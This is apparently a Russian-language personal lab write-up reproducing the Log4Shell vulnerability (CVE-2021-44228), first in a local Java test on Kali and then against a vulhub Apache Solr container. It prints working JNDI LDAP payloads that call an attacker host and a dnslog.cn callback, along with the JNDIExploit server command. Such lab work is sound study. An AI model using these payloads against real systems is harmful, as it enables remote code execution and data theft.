Предисловие: Условия использования Log4j действительно суровые, просмотрев много видео и статей, я записал два сценария, которые могу воспроизвести.
По какой-то неизвестной причине система Windows долгое время не отвечает и может печатать только на консоли. 360 обнаружил Log4j, но даже при выходе из 360 нет выполнения команды, что далеко от общей картины
1, кали
- Среда Java: 1.8.0_281, эта версия jdk уже очень высокая, реальную среду воспроизвести невозможно, ядро лежит в
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
- Загрузите два пакета jar, log4j-core-2.14.1.jar, log4j-api-2.14.1.jar.
// Log4jTest.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Log4jTest {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
String jndi_exploit = "${jndi:ldap://192.168.137.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9zdWNjZXNzCg==}";
logger.error(jndi_exploit);
}
}
Скомпилируйте и запустите
javac -cp log4j-core-2.14.1.jar:log4j-api-2.14.1.jar:$CLASSPATH Log4jTest.java
java -cp log4j-core-2.14.1.jar:log4j-api-2.14.1.jar:$CLASSPATH Log4jTest
IP-адрес хоста атакующего (192.168.137.1), используйте инструмент JNDIexploit для атаки,
java8 -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.137.1
2, вулхаб
vulhub, создание контейнеров для CVE-2021-44228
Это окружение очень гармоничное, без проблем, разовый успех
Поскольку log4j — это не отдельная веб-служба, а библиотека ведения журналов, используется среда Apache Solr 8.11.0, в которой используется Log4j 2.14.1.
После запуска службы посетите http://your-ip:8983
административный портал Apache Solr.
/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.hw5t79.dnslog.cn}
Если вы проверите записи на платформе dnslog, вы увидите
, что я использую java8u74, и информация была удалена.